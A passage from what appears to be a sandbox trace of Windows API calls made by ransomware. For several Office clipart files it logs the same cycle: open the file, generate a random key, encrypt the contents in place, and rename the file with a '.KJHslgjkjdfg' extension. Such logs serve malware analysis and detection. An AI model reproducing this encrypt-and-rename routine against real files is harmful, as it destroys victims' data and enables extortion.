lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.977] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.977] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.977] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.977] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.977] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7d14, lpOverlapped=0x0) returned 1 [0184.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d20, dwBufLen=0x7d20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d20) returned 1 [0184.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.979] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7d20, lpOverlapped=0x0) returned 1 [0184.979] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.979] SetEndOfFile (hFile=0x114) returned 1 [0184.982] GetProcessHeap () returned 0x2a0000 [0184.982] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.982] GetProcessHeap () returned 0x2a0000 [0184.982] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.kjhslgjkjdfg")) returned 1 [0184.984] CloseHandle (hObject=0x114) returned 1 [0184.984] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0184.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.986] GetProcessHeap () returned 0x2a0000 [0184.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.986] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.989] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.989] GetProcessHeap () returned 0x2a0000 [0184.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.990] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x64c, lpOverlapped=0x0) returned 1 [0184.990] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x650, dwBufLen=0x650 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x650) returned 1 [0184.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x650, lpOverlapped=0x0) returned 1 [0184.991] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.991] SetEndOfFile (hFile=0x114) returned 1 [0184.993] GetProcessHeap () returned 0x2a0000 [0184.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.994] GetProcessHeap () returned 0x2a0000 [0184.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.kjhslgjkjdfg")) returned 1 [0184.995] CloseHandle (hObject=0x114) returned 1 [0184.995] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0184.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.998] GetProcessHeap () returned 0x2a0000 [0184.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.998] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.001] GetProcessHeap () returned 0x2a0000 [0185.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.001] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.001] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.002] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7658, lpOverlapped=0x0) returned 1 [0185.004] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7660, dwBufLen=0x7660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7660) returned 1 [0185.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.005] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7660, lpOverlapped=0x0) returned 1 [0185.005] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.005] SetEndOfFile (hFile=0x114) returned 1 [0185.008] GetProcessHeap () returned 0x2a0000 [0185.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.008] GetProcessHeap () returned 0x2a0000 [0185.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.kjhslgjkjdfg")) returned 1 [0185.010] CloseHandle (hObject=0x114) returned 1 [0185.010] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0185.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.011] GetProcessHeap () returned 0x2a0000 [0185.011] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.011] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.011] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.014] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.014] GetProcessHeap () returned 0x2a0000 [0185.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.014] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.014] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.014] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.015] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.015] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.015] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23f8, lpOverlapped=0x0) returned 1 [0185.016] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2400, dwBufLen=0x2400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2400) returned 1 [0185.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.016] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2400, lpOverlapped=0x0) returned 1 [0185.016] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.016] SetEndOfFile (hFile=0x114) returned 1 [0185.019] GetProcessHeap () returned 0x2a0000 [0185.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.019] GetProcessHeap () returned 0x2a0000 [0185.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.kjhslgjkjdfg")) returned 1 [0185.021] CloseHandle (hObject=0x114) returned 1 [0185.021] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0185.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.022] GetProcessHeap () returned 0x2a0000 [0185.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.022] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.024] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.024] GetProcessHeap () returned 0x2a0000 [0185.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.025] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.025] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.025] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.025] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.025] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.025] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.025] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 